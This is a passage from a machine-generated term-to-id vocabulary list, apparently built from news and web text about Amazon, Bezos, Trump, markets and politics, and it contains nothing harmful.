186330, "story marketwatch": 186331, "influence peddling": 186332, "preview president": 186333, "transformation program": 186334, "normally president": 186335, "exits toronto": 186336, "short distance": 186337, "protection": 186338, "fool analysts": 186339, "pursuing new": 186340, "avoiders": 186341, "recent radio": 186342, "comparison shop": 186343, "competitors don": 186344, "sunny day": 186345, "michael adno": 186346, "mixed race": 186347, "canada wholesale": 186348, "man dies": 186349, "gut": 186350, "cuomo public": 186351, "frej quietly": 186352, "dsp named": 186353, "aggressive resistance": 186354, "municipal environmental": 186355, "private profits": 186356, "develop new": 186357, "broad attacks": 186358, "pictures include": 186359, "sonyliv subscription": 186360, "presidential tweets": 186361, "bauerle": 186362, "frequent safety": 186363, "burglarizing": 186364, "associate professor": 186365, "millions providing": 186366, "adam lashinsky": 186367, "resign elon": 186368, "arch": 186369, "designated 700": 186370, "market disruption": 186371, "marathon": 186372, "alleging violations": 186373, "street rebound": 186374, "schroders": 186375, "snacks showing": 186376, "avi lerner": 186377, "delivery understandably": 186378, "cannon president": 186379, "brazilian mother": 186380, "clean aka": 186381, "coverage led": 186382, "avoid overlap": 186383, "gotten access": 186384, "enforcements": 186385, "960799 critics": 186386, "tariff relief": 186387, "union aclu": 186388, "lhin": 186389, "sleazy": 186390, "tornadoes isis": 186391, "space technology": 186392, "currently unquantified": 186393, "shopping periods": 186394, "complaint bringing": 186395, "sticking points": 186396, "earn law": 186397, "motivated leak": 186398, "fulks": 186399, "trophy infrastructure": 186400, "officials concerns": 186401, "criticizing reporters": 186402, "employment fraud": 186403, "lagged": 186404, "extraterrestrial": 186405, "logistics consulting": 186406, "f1ffc8b1b28541f8a14202dff10fb148 florida": 186407, "new masterpiece": 186408, "assuming better": 186409, "vehicles branded": 186410, "ask hard": 186411, "representing hurston": 186412, "justice divine": 186413, "successful efforts": 186414, "lot questions": 186415, "post earnings": 186416, "perfect conduit": 186417, "sheela things": 186418, "week continues": 186419, "4k hdr": 186420, "international regulators": 186421, "usps volume": 186422, "rains missiles": 186423, "reuters": 186424, "rodrigo duterte": 186425, "pow": 186426, "trending topics": 186427, "keller achievement": 186428, "possibly taking": 186429, "attributed boost": 186430, "recent attacks": 186431, "german magazine": 186432, "clinton demanding": 186433, "sides drew": 186434, "analysts reiterated": 186435, "qatar": 186436, "pecker pic": 186437, "worker worldtribune": 186438, "hickman": 186439, "options set": 186440, "investors grapple": 186441, "fix things": 186442, "2017 related": 186443, "2013 trademark": 186444, "columbus circle": 186445, "fellow billionaires": 186446, "struggle abetted": 186447, "swing voters": 186448, "ring alexa": 186449, "inspector": 186450, "burien": 186451, "reaching 1780": 186452, "high hopes": 186453, "ba": 186454, "business note": 186455, "buzz60 connecttweetlinkedincommentemailmore": 186456, "korecki illinois": 186457, "bringing": 186458, "hidespinner": 186459, "firms working": 186460, "trump meant": 186461, "gustavo dudamel": 186462, "possible morning": 186463, "procedural hearing": 186464, "unannounced monthly": 186465, "successful institutions": 186466, "delivery firm": 186467, "premarket": 186468, "npr involve": 186469, "tracks investor": 186470, "cryptocurrency tron": 186471, "374 cnl_nam": 186472, "cupertino calif": 186473, "dream looks": 186474, "novel couldn": 186475, "air capacity": 186476, "incarnation": 186477, "beef": 186478, "begin throwing": 186479, "grainger": 186480, "aeht": 186481, "clearer standards": 186482, "rep sent": 186483, "cheese stuffed": 186484, "413 763": 186485, "companies used": 186486, "union bancorporation": 186487, "goulding": 186488, "kool aid": 186489, "working relationship": 186490, "administration strategy": 186491, "reallyunderstand": 186492, "pi": 186493, "projects nationwide": 186494, "schultz slams": 186495, "nflx saw": 186496, "aneurysms minutes": 186497, "court politics": 186498, "share 38c": 186499, "amazon raising": 186500, "hush agreement": 186501, "including browsing": 186502, "specific targets": 186503, "delicious 100": 186504, "lost overboard": 186505, "deals ahead": 186506, "drone delivery": 186507, "school staff": 186508, "outlined proposal": 186509, "thomas richardson": 186510, "su plantilla": 186511, "bozo reveals": 186512, "navigation": 186513, "speeds wrong": 186514, "strong income": 186515, "901 000": 186516, "marijuana etf": 186517, "isgur": 186518, "current cultural": 186519, "rosenstein set": 186520, "called marketplace": 186521, "janice": 186522, "broadway books": 186523, "east jerusalem": 186524, "mcdougal 150": 186525, "lf2": 186526, "hinged opening": 186527, "website providing": 186528, "gadgets": 186529, "lead counsel": 186530, "upward wage": 186531, "amazon stole": 186532, "emails sent": 186533, "obtained": 186534, "1795 month": 186535, "headquarters including": 186536, "understand": 186537, "different context": 186538, "sets tax": 186539, "malfunctioning robot": 186540, "distress broward": 186541, "largest warehouse": 186542, "hand select": 186543, "goodreads": 186544, "energetic": 186545, "houston city": 186546, "package aimed": 186547, "immigrants vote": 186548, "health": 186549, "glitchy prime": 186550, "service ladd": 186551, "leads visit": 186552, "historian clayborne": 186553, "new message": 186554, "100 meal": 186555, "journalism taxes": 186556, "finance betsy": 186557, "occurrence": 186558, "misunderstanding": 186559, "multiplication kids": 186560, "cw": 186561, "recently bought": 186562, "meagre": 186563, "leaks according": 186564, "amazon size": 186565, "based chain": 186566, "2015 nuclear": 186567, "supported nixon": 186568, "michael wolf": 186569, "think stocks": 186570, "critical according": 186571, "teen testifies": 186572, "adding office": 186573, "boycottwalmart reports": 186574, "ordered commission": 186575, "yorker writer": 186576, "applewhite": 186577, "debut collection": 186578, "miners club": 186579, "tax brian": 186580, "050 accounts": 186581, "babies 2018": 186582, "demand choice": 186583, "interests following": 186584, "wrote google": 186585, "subtraction multiplication": 186586, "plates": 186587, "deployments harm": 186588, "comments bs_link": 186589, "porn industry": 186590, "bryant hamill": 186591, "local leaders": 186592, "markupid": 186593, "contessa brewer": 186594, "recent departure": 186595, "data mining": 186596, "overturned state": 186597, "week publishers": 186598, "strange choice": 186599, "oakley": 186600, "presumably sensitive": 186601, "task facebook": 186602, "power issues": 186603, "america founded": 186604, "stock tanked": 186605, "fascinating infuriating": 186606, "sputtering": 186607, "sulllivan europe": 186608, "powerful": 186609, "1549579861000 trump": 186610, "yelp iheartradio": 186611, "physical": 186612, "relational": 186613, "ideas minus": 186614, "hold": 186615, "placing tariffs": 186616, "versus 2017": 186617, "media giant": 186618, "pammie": 186619, "laos": 186620, "adapt": 186621, "notorious labor": 186622, "overconfident": 186623, "intalled": 186624, "trading 8211": 186625, "overdue retirement": 186626, "map pinpointing": 186627, "accepted jesus": 186628, "wrongly appeared": 186629, "wunderman president": 186630, "collins book": 186631, "siphoning": 186632, "trivialize": 186633, "going rocket": 186634, "gouda": 186635, "suppressed": 186636, "quite": 186637, "measured": 186638, "slave trade": 186639, "bezos neighborhood": 186640, "coke clearly": 186641, "groupe": 186642, "needed answers": 186643, "dangers posed": 186644, "fortune best": 186645, "work life": 186646, "enter deals": 186647, "pension obligations": 186648, "scrub": 186649, "powerful denial": 186650, "blamed fellow": 186651, "program person": 186652, "virtues better": 186653, "ohio special": 186654, "won house": 186655, "twitter newsnatasha": 186656, "h0 ximpeach": 186657, "alternative history": 186658, "ice contracts": 186659, "auburndale": 186660, "court blocked": 186661, "hair color": 186662, "doing just": 186663, "polly voice": 186664, "practice john": 186665, "emily watson": 186666, "council approval": 186667, "gaza hamas": 186668, "gsa anne": 186669, "veterans driven": 186670, "provider gig": 186671, "holders 1q": 186672, "qanon gear": 186673, "study showed": 186674, "tumultuous years": 186675, "unquantified": 186676, "ago discovered": 186677, "collect food": 186678, "protesting": 186679, "biggs az": 186680, "gianaris": 186681, "barrel": 186682, "says congress": 186683, "siena": 186684, "chef judge": 186685, "office controlled": 186686, "corporation tax": 186687, "mngmt": 186688, "strong escaped": 186689, "santacon": 186690, "data caps": 186691, "standards set": 186692, "far left": 186693, "house lobbying": 186694, "today donald": 186695, "businesses business": 186696, "jon grab": 186697, "refn longtime": 186698, "amazon trumpocracy": 186699, "media failing": 186700, "officer google": 186701, "leader craig": 186702, "wmur": 186703, "developing corporate": 186704, "study history": 186705, "amazon pours": 186706, "legitimate antitrust": 186707, "improve care": 186708, "simple lot": 186709, "new solutions": 186710, "microscope media": 186711, "sacred heart": 186712, "founders": 186713, "cio trump": 186714, "weekly politics": 186715, "annual reports": 186716, "steven harris": 186717, "amazon palantir": 186718, "flights unidentified": 186719, "challenged conduct": 186720, "selling politics": 186721, "including discounts": 186722, "industry retail": 186723, "big reveal": 186724, "portfolio conning": 186725, "wheels underneath": 186726, "billion valuation": 186727, "modern city": 186728, "money later": 186729, "matter sanchez": 186730, "smaller rivals": 186731, "tossing unneeded": 186732, "accumulating patent": 186733, "rule states": 186734, "bezos 150": 186735, "channels collaborating": 186736, "shot database": 186737, "credible advertising": 186738, "employees related": 186739, "commondreams new": 186740, "bezos tweeting": 186741, "melissa": 186742, "source quartz": 186743, "dleonard12 bloomberg": 186744, "continued surge": 186745, "rated pictures": 186746, "spokesman adam": 186747, "term lease": 186748, "deputy governor": 186749, "richard morton": 186750, "virginia suburb": 186751, "american gigolo": 186752, "visits state": 186753, "sean adams": 186754, "giant broke": 186755, "leftist narrative": 186756, "fatal blow": 186757, "million activity": 186758, "1q eps": 186759, "accuse rep": 186760, "savior": 186761, "bringing prominent": 186762, "locating tenth": 186763, "state rep": 186764, "worship satan": 186765, "salvador el": 186766, "setinterval r4ee": 186767, "south brooklyn": 186768, "tax purposefully": 186769, "beeson jared": 186770, "populated amazon": 186771, "spokesperson jodi": 186772, "incidentally": 186773, "trump injurious": 186774, "just microsoft": 186775, "goods buyers": 186776, "paying massive": 186777, "dows 200": 186778, "huckabee sanders": 186779, "onaws outposts": 186780, "4741": 186781, "passed massive": 186782, "chipping": 186783, "multiple vaccines": 186784, "prakash": 186785, "payers": 186786, "person signing": 186787, "address complaints": 186788, "videocmsurl video": 186789, "la film": 186790, "netflix deal": 186791, "experience allows": 186792, "consumers increasingly": 186793, "lead investigator": 186794, "dignified uniforms": 186795, "camouflaged": 186796, "service proposal": 186797, "blankets": 186798, "utx": 186799, "evolution sharing": 186800, "incredibly complex": 186801, "year tweeting": 186802, "potential ammunition": 186803, "380 000": 186804, "maria stay": 186805, "report released": 186806, "contracts services": 186807, "entertainment video": 186808, "dragon": 186809, "considerable injection": 186810, "fedex corp": 186811, "added 196": 186812, "trump proceeds": 186813, "passage press": 186814, "finalists forte": 186815, "designated opportunity": 186816, "sonyliv embedded": 186817, "norfolk southern": 186818, "moralizing": 186819, "clock restorer": 186820, "weren trading": 186821, "sharp losses": 186822, "aws represented": 186823, "serrano ny": 186824, "major turning": 186825, "total political": 186826, "save paper": 186827, "objectives": 186828, "t9x d0": 186829, "tweets colbert": 186830, "americans economy": 186831, "monstrous": 186832, "caravan ad": 186833, "authored total": 186834, "devastating stories": 186835, "life changes": 186836, "negotiate bezos": 186837, "agree warren": 186838, "independent redistricting": 186839, "packaging ignoring": 186840, "golden globes8": 186841, "leading investors": 186842, "amazon shelves": 186843, "insinuated donald": 186844, "revised deal": 186845, "hammered mccain": 186846, "incompetence": 186847, "bomber court": 186848, "flak jacket": 186849, "jennifer holmgren": 186850, "jessicabruder created": 186851, "bezos frequently": 186852, "early point": 186853, "policy expertise": 186854, "military officer": 186855, "blackburntrump": 186856, "billion shares": 186857, "summit deranged": 186858, "avoided talking": 186859, "disney comcast": 186860, "additional discounts": 186861, "religious leaders": 186862, "jones told": 186863, "story charts": 186864, "silent amazon": 186865, "nyse cvx": 186866, "photo kevin": 186867, "square miles": 186868, "currently puts": 186869, "withdrawn reuters": 186870, "personal power": 186871, "liberty education": 186872, "criminal conspiracy": 186873, "exterior large": 186874, "love nests": 186875, "ium": 186876, "ar niantic": 186877, "justified considering": 186878, "government effectiveness": 186879, "campaign donald": 186880, "promo": 186881, "cnnpolitics": 186882, "gmt ap": 186883, "salacious read": 186884, "say steve": 186885, "splc designates": 186886, "policy tools": 186887, "officials caught": 186888, "amazon 561": 186889, "hearing lot": 186890, "castlevania photo": 186891, "patty asks": 186892, "startup called": 186893, "year option": 186894, "library enc": 186895, "expeditions venture": 186896, "book starr": 186897, "dinghy capsized": 186898, "1721086080": 186899, "margaret worked": 186900, "india visit": 186901, "synapse": 186902, "buffalo ii": 186903, "mnuchin house": 186904, "shows available": 186905, "siegel": 186906, "marjon": 186907, "season showed": 186908, "police communities": 186909, "cosponsor": 186910, "members work": 186911, "solomon stinson": 186912, "headcount 247": 186913, "new employee": 186914, "catril senior": 186915, "ahmann": 186916, "popular alexa": 186917, "agenda": 186918, "history shows": 186919, "separate ways": 186920, "south china": 186921, "crime drug": 186922, "dwdp": 186923, "ami presented": 186924, "having recently": 186925, "pursued stories": 186926, "itstill": 186927, "writing bezos": 186928, "jay clayton": 186929, "retiring early": 186930, "faulted": 186931, "global megacorporations": 186932, "benefit workers": 186933, "eminently worth": 186934, "administration harsh": 186935, "paul business": 186936, "years struggling": 186937, "using twitter": 186938, "possible shipping": 186939, "site operating": 186940, "nonetheless mnuchin": 186941, "magazine parent": 186942, "station public": 186943, "provides": 186944, "freedom particularly": 186945, "cities desperate": 186946, "pass permanent": 186947, "abuse texas": 186948, "sanders helped": 186949, "taxpayers mnuchin": 186950, "unenroll": 186951, "pauly": 186952, "entire state": 186953, "art collector": 186954, "thespian": 186955, "stockings": 186956, "resumed discussions": 186957, "appropriation process": 186958, "department wants": 186959, "wished amazon": 186960, "beast pointed": 186961, "colorful maker": 186962, "mexico southern": 186963, "ambition corruption": 186964, "meetings conveniently": 186965, "product studies": 186966, "opponents state": 186967, "perceived added": 186968, "schultz preferred": 186969, "grocery industry": 186970, "mcnew imageurl": 186971, "korea": 186972, "marked trucks": 186973, "quarter report": 186974, "reflects little": 186975, "amazon forecasts": 186976, "interrupted run": 186977, "headquarters operations": 186978, "justice department": 186979, "conversely mattel": 186980, "stamps envelopes": 186981, "today minimum": 186982, "traded publicly": 186983, "building relationships": 186984, "export market": 186985, "selling dozens": 186986, "distribution facilities": 186987, "owner did": 186988, "ran 100": 186989, "benettons highway": 186990, "supported hillary": 186991, "cancelsend sent": 186992, "1770": 186993, "strategist susan": 186994, "mm preparations": 186995, "weeklong round": 186996, "funny hamlin": 186997, "line vote": 186998, "levels 135": 186999, "think tech": 187000, "unflattering moments": 187001, "muilenburg ernst": 187002, "liquidated invested": 187003, "government role": 187004, "cap tech": 187005, "impost": 187006, "away speaking": 187007, "tabloid group": 187008, "ostensibly free": 187009, "onvideocarouselitemclicked evt": 187010, "trade amrith": 187011, "security committee": 187012, "regulatory law": 187013, "2018 twitter": 187014, "administration appointee": 187015, "padding": 187016, "locked away": 187017, "maximize holiday": 187018, "payments 2018": 187019, "alphabet tax": 187020, "popular line": 187021, "stereotypes indian": 187022, "just sawamazon": 187023, "protect brazilian": 187024, "blasio scrambled": 187025, "attract world": 187026, "site algorithms": 187027, "uh remote": 187028, "ended sept": 187029, "house border": 187030, "shipping topped": 187031, "blasio brad": 187032, "gender gap": 187033, "foundations charity": 187034, "funding shutdown": 187035, "yiwu international": 187036, "helped pull": 187037, "davidson recently": 187038, "lonergan": 187039, "survivalist family": 187040, "coaster": 187041, "winning championship": 187042, "lady cathedral": 187043, "credit hours": 187044, "paralympic swim": 187045, "stopped covering": 187046, "great wiring": 187047, "lewiston trump": 187048, "multi billionaire": 187049, "worth estimated": 187050, "provide missing": 187051, "community fight": 187052, "told cnn": 187053, "apparent blast": 187054, "lie bob": 187055, "harboring": 187056, "wing southern": 187057, "organization itep": 187058, "increasingly reliant": 187059, "reported 113": 187060, "members provide": 187061, "healthy fighting": 187062, "accuracy especially": 187063, "small manufacturer": 187064, "trump statements": 187065, "inappropriate behavior": 187066, "grinch mitchell": 187067, "engine amphibious": 187068, "says paper": 187069, "2019 did": 187070, "dishonesty trump": 187071, "funding mandate": 187072, "sports streaming": 187073, "peer average": 187074, "soares": 187075, "239": 187076, "lone honest": 187077, "evergreen enemy": 187078, "nation borders": 187079, "small percentage": 187080, "amazon employment": 187081, "county oregon": 187082, "initial report": 187083, "motley campaign": 187084, "partner according": 187085, "north korean": 187086, "doesn succeed": 187087, "wasson": 187088, "medicrea": 187089, "foods locations": 187090, "better time": 187091, "driehaus": 187092, "318": 187093, "idea candid": 187094, "staff spread": 187095, "megadonor steyer": 187096, "cummins riley": 187097, "economic changes": 187098, "fed seat": 187099, "trump boasted": 187100, "ordinary": 187101, "automated": 187102, "data cross": 187103, "thing uglier": 187104, "sized fleet": 187105, "chinese leadership": 187106, "product itemizing": 187107, "krikorian": 187108, "day especially": 187109, "va metro": 187110, "dow added": 187111, "box car": 187112, "2018 annual": 187113, "rationales": 187114, "officials current": 187115, "tapaj\u00f3s river": 187116, "story bipartisan": 187117, "undergo treatment": 187118, "nyc premiere": 187119, "hess": 187120, "racine": 187121, "amazon governments": 187122, "new internet": 187123, "young bartender": 187124, "denis narcos": 187125, "club": 187126, "simple tips": 187127, "rebuilding": 187128, "illinois based": 187129, "projects aimed": 187130, "cking lunatic": 187131, "central tech": 187132, "anime series": 187133, "names greatly": 187134, "posing": 187135, "trashed": 187136, "particular kiss": 187137, "scrap plans": 187138, "journal wsj": 187139, "example retailer": 187140, "making murderer": 187141, "critical month": 187142, "fides": 187143, "sleepy ritzy": 187144, "guitar picks": 187145, "saw picture": 187146, "massive fundraising": 187147, "backing": 187148, "contact pheffer": 187149, "black ops": 187150, "cypress cap": 187151, "commerce deliveries": 187152, "credit leads": 187153, "biggs told": 187154, "rockwell painted": 187155, "scratched": 187156, "amazon game": 187157, "2012 stacked": 187158, "2020 funding": 187159, "tailer": 187160, "data practices": 187161, "day elizabeth": 187162, "fbi agents": 187163, "republican retires": 187164, "reinvestment act": 187165, "service utilized": 187166, "wants carve": 187167, "service scrutinized": 187168, "counterfeit detection": 187169, "bezos sleazy": 187170, "unpredictable rages": 187171, "rocket man": 187172, "2019 dt": 187173, "erodes": 187174, "bubble guppies": 187175, "amazon criticism": 187176, "kgeldzji5z tpm": 187177, "era": 187178, "michael arone": 187179, "lawyer matthew": 187180, "wind farms": 187181, "house kavanaugh": 187182, "kim reported": 187183, "prosperity richard": 187184, "photos monica": 187185, "muted core": 187186, "encourage pelosi": 187187, "expense sooner": 187188, "business behaviour": 187189, "people want": 187190, "country ms": 187191, "copyrighted material": 187192, "valid security": 187193, "hellacious": 187194, "black woman": 187195, "toddlers": 187196, "gems": 187197, "saul": 187198, "greatest challenge": 187199, "lost earlier": 187200, "reconstruction michigan": 187201, "aeht huge": 187202, "jezebel gothamist": 187203, "national peace": 187204, "elsie odom": 187205, "craft": 187206, "evasion tweeted": 187207, "control opponents": 187208, "brighteon": 187209, "piece": 187210, "government mortgage": 187211, "confident amazon": 187212, "device sent": 187213, "heartland states": 187214, "surprise bolsonaro": 187215, "grounds oracle": 187216, "british series": 187217, "forgiving": 187218, "writing congrats": 187219, "poisonwood": 187220, "mollie": 187221, "amazon responded": 187222, "asian guy": 187223, "stranded leaving": 187224, "crazies trump": 187225, "reforms opportunity": 187226, "boards": 187227, "hill amazon": 187228, "committees following": 187229, "reviving": 187230, "rebecca hall": 187231, "137": 187232, "contract isn": 187233, "fortes": 187234, "offer similar": 187235, "study wildfires": 187236, "c1 a4ee": 187237, "seattle leaders": 187238, "wants facebook": 187239, "stop rebny": 187240, "wireless keyboards": 187241, "efr": 187242, "writers journalists": 187243, "nature pagoda": 187244, "snap win": 187245, "laurence fishburne": 187246, "tumblr email": 187247, "evening news": 187248, "100 reasons": 187249, "accurately captured": 187250, "clearly accusing": 187251, "additional information": 187252, "lemire washington": 187253, "pills nicknamed": 187254, "volatile week": 187255, "scribner ny": 187256, "repeatedly refers": 187257, "2018when": 187258, "market creates": 187259, "law collective": 187260, "maximizedbannersize": 187261, "amazon financial": 187262, "breaking vote": 187263, "brand shared": 187264, "apply pressure": 187265, "provincialism": 187266, "gilded": 187267, "background checks": 187268, "mom pop": 187269, "amazon entrance": 187270, "polluter": 187271, "law person": 187272, "reviewers receive": 187273, "williams charlotte": 187274, "complaining": 187275, "figure takes": 187276, "laughs saw": 187277, "families entering": 187278, "macro": 187279, "cameroonian writer": 187280, "bizarre twisted": 187281, "195229 sucking": 187282, "lubin": 187283, "investigation antitrust": 187284, "investigative case": 187285, "subscription required": 187286, "policy claimed": 187287, "mississippi gov": 187288, "assuring": 187289, "disney film": 187290, "automated scanning": 187291, "ufhonteva5": 187292, "basic care": 187293, "swallowing": 187294, "nations event": 187295, "condemn": 187296, "environment slowed": 187297, "turn profitthe": 187298, "repeated tweets": 187299, "capellades sola": 187300, "video expresses": 187301, "te": 187302, "thing reuters": 187303, "planned hamza": 187304, "growing lines": 187305, "tweeted boycott": 187306, "quick disclosure": 187307, "bezos personally": 187308, "manning": 187309, "chris cuomo": 187310, "busy courting": 187311, "seditious heart": 187312, "stop complying": 187313, "edie": 187314, "business types": 187315, "investment trusts": 187316, "homelessness issue": 187317, "feud adds": 187318, "just flyers": 187319, "omid": 187320, "emirates saudiarabia": 187321, "released statement": 187322, "notion rubs": 187323, "congressman": 187324, "blasting": 187325, "looking past": 187326, "helps shed": 187327, "retailers simon": 187328, "utmost importance": 187329, "chiselled red": 187330, "afghanistan cost": 187331, "effectively negated": 187332, "totally dump": 187333, "biggest influencers": 187334, "leaker": 187335, "recent high": 187336, "time warehouse": 187337, "board concludes": 187338, "competition investigations": 187339, "becker argued": 187340, "told fbi": 187341, "square feet": 187342, "yields": 187343, "president word": 187344, "price war": 187345, "veterans issues": 187346, "explicitly targeted": 187347, "rising consumer": 187348, "investors": 187349, "retail cloud": 187350, "gaiman fantasy": 187351, "challenges finding": 187352, "talk growth": 187353, "gears": 187354, "congressman turned": 187355, "practices accusing": 187356, "private hands": 187357, "venezuela protester": 187358, "watergate": 187359, "pfeiffer": 187360, "aborted white": 187361, "product page": 187362, "olfactory glands": 187363, "5438 emblazoned": 187364, "173 000": 187365, "riveting series": 187366, "itinerant": 187367, "features convenient": 187368, "incongruencies": 187369, "allof": 187370, "day song": 187371, "offthe bat": 187372, "grocery chain": 187373, "stingiest": 187374, "sights set": 187375, "clowns": 187376, "florida department": 187377, "atamanuik tonyatamanuik": 187378, "pose risks": 187379, "students expressing": 187380, "audra": 187381, "president sure": 187382, "low wages": 187383, "returntypeofr4ee": 187384, "street grocery": 187385, "riser": 187386, "traditional tabloid": 187387, "lisa beyer": 187388, "rival politicians": 187389, "featured performance": 187390, "lambert": 187391, "shopping giant": 187392, "migrants coincides": 187393, "robert allbritton": 187394, "harsh treatment": 187395, "legitimate regulating": 187396, "subsidies amazon": 187397, "story tv": 187398, "efforts won": 187399, "wasn russian": 187400, "color": 187401, "tech today": 187402, "doesn amazon": 187403, "people hate": 187404, "michelle wolf": 187405, "menaces florida": 187406, "cigarette": 187407, "anassistant secretary": 187408, "shocking thing": 187409, "novelist turned": 187410, "nickelsburg new": 187411, "inflated labor": 187412, "openly threatens": 187413, "armstrongabc11": 187414, "americans read": 187415, "arkansas lost": 187416, "platform dorsey": 187417, "fault new": 187418, "braven": 187419, "workforce contracted": 187420, "kristenicoleast good": 187421, "school businessman": 187422, "totally amazed": 187423, "valid electronic": 187424, "000 store": 187425, "veiled threats": 187426, "pursued contrived": 187427, "population centers": 187428, "infantry": 187429, "accurately recognize": 187430, "border make": 187431, "bozo pic": 187432, "element cutformat": 187433, "weakened considerably": 187434, "numerous key": 187435, "package": 187436, "raton": 187437, "cozy ex": 187438, "inserts": 187439, "amazon profits": 187440, "sister dna": 187441, "causing beer": 187442, "extract efficiency": 187443, "distinction": 187444, "smallest stake": 187445, "202 million": 187446, "pacify": 187447, "2020 starts": 187448, "years usps": 187449, "city credit": 187450, "facebook aims": 187451, "wire trump": 187452, "diligent": 187453, "reddit users": 187454, "nato": 187455, "pin promoting": 187456, "aluminium tariffs": 187457, "apache kafka": 187458, "computing alan": 187459, "havrilesky doubleday": 187460, "sagging": 187461, "studio audience": 187462, "year minivans": 187463, "vaccines contain": 187464, "sketch barely": 187465, "kavanaugh fbi": 187466, "swept": 187467, "ceo jamie": 187468, "makes excellent": 187469, "barbara pierce": 187470, "stephanopoulos pressed": 187471, "used vehicles": 187472, "florida based": 187473, "labeled bezos": 187474, "determine price": 187475, "burning censorship": 187476, "great british": 187477, "businesses trump": 187478, "insurance products": 187479, "joint interview": 187480, "educateing elected": 187481, "fewer stores": 187482, "cnn markupid": 187483, "firm associated": 187484, "considerable": 187485, "media peter": 187486, "ju ly": 187487, "don pleebles": 187488, "julia claire": 187489, "incumbent private": 187490, "operations guy": 187491, "gossip girl": 187492, "sales consultants": 187493, "saying commerce": 187494, "public offering": 187495, "private security": 187496, "reduced revenue": 187497, "christmas merchandise": 187498, "post marty": 187499, "cumulative losses": 187500, "apolitical": 187501, "tent": 187502, "opinion based": 187503, "election just": 187504, "team san": 187505, "cool foggy": 187506, "published viacom": 187507, "alliance led": 187508, "carr trump": 187509, "reported fin": 187510, "hussein called": 187511, "analysts study": 187512, "jeff nbsp": 187513, "pedestrians uber": 187514, "topping consumer": 187515, "contributor getty": 187516, "rules man": 187517, "barely scraping": 187518, "bezos identified": 187519, "pence colombia": 187520, "fighting political": 187521, "david pecker": 187522, "connolly va": 187523, "low electricity": 187524, "intransigent eu": 187525, "generations looking": 187526, "transitioning massive": 187527, "initial interview": 187528, "ownership": 187529, "items amazon": 187530, "stop lands": 187531, "air conditioned": 187532, "content relative": 187533, "year multiple": 187534, "lawyers refused": 187535, "downstairs": 187536, "newly placed": 187537, "scrutinize mergers": 187538, "gretchen bender": 187539, "capacity shifted": 187540, "retail product": 187541, "hurled ominous": 187542, "mccubin": 187543, "says leaker": 187544, "tougher stance": 187545, "multi award": 187546, "holiday free": 187547, "story publication": 187548, "wyden hillicon": 187549, "video compression": 187550, "field working": 187551, "national public": 187552, "fitzpatrick": 187553, "complain amazon": 187554, "extended holiday": 187555, "linger following": 187556, "demanded instead": 187557, "new password": 187558, "pa a4ee": 187559, "ruse": 187560, "shown good": 187561, "gaining steam": 187562, "surviving": 187563, "cow horn": 187564, "compression products": 187565, "commission reports": 187566, "tradition officially": 187567, "lower investors": 187568, "joy buolamwini": 187569, "europe 600": 187570, "million portion": 187571, "store grocery": 187572, "cost payments": 187573, "2008 peak": 187574, "trump jr": 187575, "media app": 187576, "slid": 187577, "maximize quantity": 187578, "rival bidder": 187579, "354": 187580, "oct geekwire": 187581, "resume trump": 187582, "mode": 187583, "talent pipeline": 187584, "collected 140": 187585, "baked bread": 187586, "ashton netflix": 187587, "onlineshopping": 187588, "pre paying": 187589, "gym honed": 187590, "yelp files": 187591, "obstruction feb": 187592, "shree rajneesh": 187593, "screw": 187594, "field recently": 187595, "trump revealing": 187596, "prince britain": 187597, "force stops": 187598, "internet protocols": 187599, "1161": 187600, "karen matthews": 187601, "involved": 187602, "i9 object": 187603, "forward clearly": 187604, "maker oars": 187605, "anti": 187606, "measure 2020": 187607, "doings trump": 187608, "goodman city": 187609, "summit results": 187610, "french language": 187611, "impact": 187612, "aq": 187613, "primeair cargo": 187614, "advocating stricter": 187615, "geraldine deruiter": 187616, "live according": 187617, "big threats": 187618, "eat children": 187619, "cambria": 187620, "bid raised": 187621, "press series": 187622, "early 2018": 187623, "characterized zinke": 187624, "apologizes chicago": 187625, "lower apple": 187626, "maximise revenue": 187627, "100 points": 187628, "marthawharton3": 187629, "essays drawings": 187630, "war proof": 187631, "point memo": 187632, "feast breeze": 187633, "black shoelace": 187634, "byline appears": 187635, "2fct maxine": 187636, "cook food": 187637, "immigrant experience": 187638, "lodged": 187639, "provide federal": 187640, "gp limited": 187641, "josipovi\u0107": 187642, "outsized share": 187643, "politically palatable": 187644, "visas": 187645, "make president": 187646, "reader favorite": 187647, "westjet": 187648, "effect implications": 187649, "extra stroke": 187650, "considered vertical": 187651, "hopping mad": 187652, "widens wealth": 187653, "facilitate balance": 187654, "happen data": 187655, "away": 187656, "slammed mccabe": 187657, "juiced": 187658, "ann durbin": 187659, "rarely talks": 187660, "people depart": 187661, "allbritton": 187662, "tweeted hours": 187663, "spirit developed": 187664, "company wanted": 187665, "composite edged": 187666, "math brings": 187667, "614": 187668, "surprising announcement": 187669, "traits true": 187670, "government called": 187671, "night murals": 187672, "gotten pressured": 187673, "including 1300": 187674, "laurence ball": 187675, "email promoted": 187676, "723 441": 187677, "seriously lmpressive": 187678, "wapichana": 187679, "travel money": 187680, "separate logistics": 187681, "illegal hope": 187682, "developments showcased": 187683, "directors ken": 187684, "earlier don": 187685, "followers tweeted": 187686, "believe provided": 187687, "ernest matthew": 187688, "retail performance": 187689, "liability swatch": 187690, "367": 187691, "employees citi": 187692, "included expletives": 187693, "market major": 187694, "form governments": 187695, "000 according": 187696, "netanyahu aljazeera": 187697, "temporary crackdown": 187698, "affect humanity": 187699, "uber viable": 187700, "mazon": 187701, "offer dime": 187702, "contracts outside": 187703, "commenting privileges": 187704, "watchers bet": 187705, "climate plan": 187706, "remains inefficient": 187707, "jquery metadata": 187708, "claiborne": 187709, "colder overnight": 187710, "understand instead": 187711, "approval allows": 187712, "offer alexa": 187713, "bother signing": 187714, "kanter real": 187715, "kshama sawant": 187716, "prominent advocate": 187717, "youir": 187718, "transplant minutes": 187719, "momentarily giving": 187720, "megyn": 187721, "a5q": 187722, "tarred feathered": 187723, "2019 brave": 187724, "records amazon": 187725, "blockchain decoded": 187726, "linkedin california": 187727, "sharp decline": 187728, "performance enhancing": 187729, "overlapping mergers": 187730, "larger washington": 187731, "watchdog involved": 187732, "agency researchers": 187733, "automatically using": 187734, "eu west": 187735, "york northern": 187736, "amazon bargains": 187737, "hawaii seal": 187738, "global really": 187739, "margin businesses": 187740, "differing slightly": 187741, "1529509628": 187742, "tom block": 187743, "flame months": 187744, "quick look": 187745, "world certainly": 187746, "mcdaniel just": 187747, "lobbying presence": 187748, "employee influence": 187749, "flaccid myelitis": 187750, "motivated nature": 187751, "denver teacher": 187752, "pretty big": 187753, "amid fears": 187754, "netherlands": 187755, "year adding": 187756, "catchy nicknames": 